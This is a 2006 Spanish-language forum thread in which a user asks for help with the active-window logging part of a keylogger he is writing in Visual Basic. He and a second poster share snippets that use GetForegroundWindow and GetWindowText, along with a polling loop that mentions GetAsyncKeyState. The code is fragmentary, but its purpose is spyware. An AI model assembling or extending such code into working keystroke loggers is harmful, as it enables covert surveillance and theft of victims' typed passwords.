Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Ismy en 15 Enero 2006, 17:53 pm



Título: Ayuda sobre captura de ventanas
Publicado por: Ismy en 15 Enero 2006, 17:53 pm
Estoy programando un keylogger,

La parte de las teclas esta ventilada ya, estoy en la parte de capturar la ventana activa, pero tengo problemas, porque al poner que me envie la ventana:

Código:
Handle = GetForegroundWindow()
Longitud = GetWindowTextLength(Handle) + 1
Texto = Space(Longitud)
Retorno = GetWindowText(Handle, Texto, Longitud)
ventana = Left(Texto, Longitud - 1)
Text1.Text = Text1.Text & ventana & vbCrLf

Me la pone muchas veces, es decir, en el log me aparece:

Código:
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa

Entonces hice que si la ventana era lo mismo que la que ya habia, no hiciera nada. Quedó asi:

Código:
ventana2 = "vacio"
If ventana <> ventana2 Then
Text1.Text = Text1.Text & ventana & vbCrLf
ventana2 = ventana

Como veis, primero le digo que la variable ventana2 es "vacio" ( por ejemplo )
Despues, si la ventana activa no es "vacio",  agrega al log la ventana, y hace que la variable ventana2 sea lo mismo que la ventana actual. Asi si la ventana sigue siendo la misma, esta no se pondrá en el Text.

Pero queda igual, en el text sigue saliendo

Código:
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa

Creo que me he expresado con claridad jeje
A ver que hago mal, Gracias

Salu2


Título: Re: Ayuda sobre captura de ventanas
Publicado por: sch3m4 en 15 Enero 2006, 18:02 pm
debes cojer el hwnd de la ventana activa, entonces después:

Código:
if Ventana_Activa = GetForegroundWindow() then
'notificas las teclas
else
'capturas teclas
end if


Título: Re: Ayuda sobre captura de ventanas
Publicado por: Ismy en 15 Enero 2006, 18:12 pm
La verdad no lo entendí bien

Aclaro que la forma que estoy usando para capturar las teclas es la de las apis de windows, no la de hoooks. ( ya se que es mejor, pero eso es otra cosa)


Título: Re: Ayuda sobre captura de ventanas
Publicado por: sch3m4 en 15 Enero 2006, 18:33 pm
lo sé. te digo, que para saber si la ventana ha cambiado, debes de hacer lo anterior. Si el hwnd de la ventana nueva es el mismo que el de la ventana activa, por eso te digo que compares el valor que tienes guardado de GetForegroundWindow, con el valor actual de GetForegroundWindow.

Código:
ventana = getforegroundwindow()
do while (1)
if ventana = getforegroundwindow() then 'si la ventana no ha cambiado
'sigues capturando teclas con getasynckeystate
else 'la ventana ha cambiado
'guardas las teclas, etc.
ventana = getforegroundwindow() 'muy importante esta linea
end if
loop